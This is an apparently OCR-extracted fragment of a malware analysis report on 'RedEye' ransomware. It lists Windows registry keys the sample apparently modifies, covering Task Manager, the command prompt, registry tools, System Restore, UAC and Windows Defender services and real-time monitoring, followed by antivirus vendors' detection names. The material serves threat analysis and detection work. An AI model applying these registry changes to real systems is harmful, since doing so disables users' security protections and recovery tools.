"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows Script Host\\Settings\\Enabled"
"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows Script Host\\Settings\\Enabled"
"HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows NT\\SystemRestore\\DisableSR"
"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows NT\\SystemRestore\\DisableSR"
"HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows NT\\SystemRestore\\DisableConfig"
"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows NT\\SystemRestore\\DisableConfig"
"HKEY_CURRENT_USER\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR
"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR"
"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableTaskMgr"
"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableTaskMg
o

"HKEY_CURRENT_USER\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\ServiceKeepAlive"
"HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\ServiceKeepAlive"
"HKEY_CURRENT_USER\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Signature
Updates\\ForceUpdateFromMU"

"HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Signature
Updates\\ForceUpdateFromMU"

"HKEY_CURRENT_USER\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Signature
Updates\\UpdateOnStartUp"

"HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Signature
Updates\\UpdateOnStartUp"
"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\DisableCMD"
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"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\System\\DisableCMD"
"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\DisableCMD"
"HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\DisableCMD"
"HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Windows\\System\\DisableCMD"
"HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\DisableCMD"
"HKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\MMC\\{8FCOB734-A0E1-11D1-A7D3-
0000F87571E3}\\Restrict_Run"
"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\MMC\\{8FCOB734-A0E1-11D1-A7D3-
0000F87571E3}\\Restrict_Run"

"HKEY_CURRENT_USER\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time
Protection\\DisableRealtimeMonitoring"
"HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time
Protection\\DisableRealtimeMonitoring"
"HKEY_CURRENT_USER\\SYSTEM\\CurrentControlSet\\Services\\SecurityHealthService"
"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SecurityHealthService"
"HKEY_CURRENT_USER\\SYSTEM\\CurrentControlSet\\Services\\WdNisSvc"
"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WdNisSvc"
"HKEY_CURRENT_USER\\SYSTEM\\CurrentControlSet\\Services\\WinDefend"
"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WinDefend"
"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA"
"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoControlPan
el"

"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRun"
"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoRun"
"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistry
Tools"
"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryT
ools"
"HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDrives"
"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\NoDrives"
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Ad-Aware
AhnLab-Vv3
Arcabit
AVG
AVware
BitDefender
Cylance
Emsisoft
eScan
F-Secure

GData

McAfee-GW-Edition
NANO-Antivirus
Panda

SentinelOne
Sophos ML
Tencent

Webroot

-

Trojan.Agent.CZWE

Trojan/Win32.Korat.C2552979

Trojan.Agent.CZWE

Win32:Malware-gen

Trojan.Win32.Generic!BT

Trojan.Agent.CZWE

Unsafe

Trojan.Ransom.Redeye (A)

Trojan.Agent.CZWE

Trojan.Agent.CZWE

Trojan.Agent.CZWE

Trojan-Ransom.MSIL.RedEye.a

Artemis

Trojan.Win32.Ransom.fdycrk

Tr/CLA

static engine - malicious

heuristic

Msil. Trojan.Redeye.Dxme

W32.Ransom.Redeye

Yv

AegisLab
AlYac

Avast

Avira

Baidu
Cybereason
Cyren
Endgame
ESET-NOD32
Fortinet
Ikarus

MAX
Microsoft
Palo Alto Networks
Qihoo-360
Sophos AV
Symantec
TrendMicro

ZoneAlarm

2

Troj.W32.Generic!c
Trojan.Ransom.RedEye
Win32:Malware-gen
TR/RedCap.wnligk
Win32.Trojan.WisdomEyes.16070401....
malicious.5f38de
W32/Trojan.BHPF-2810
malicious (high confidence)
a variant of MSIL/KillFiles.A
W32/RedEye Altr
Trojan-Ransom.RedEye
malware (ai score=94)
Ransom:MSIL/RedEye
genericml
Win32/Trojan.Ransom.d75
Mal/RedEye-A

Trojan.Gen.2
Ransom_REDEYENTH4

Trojan-Ransom.MSIL.RedEye.a



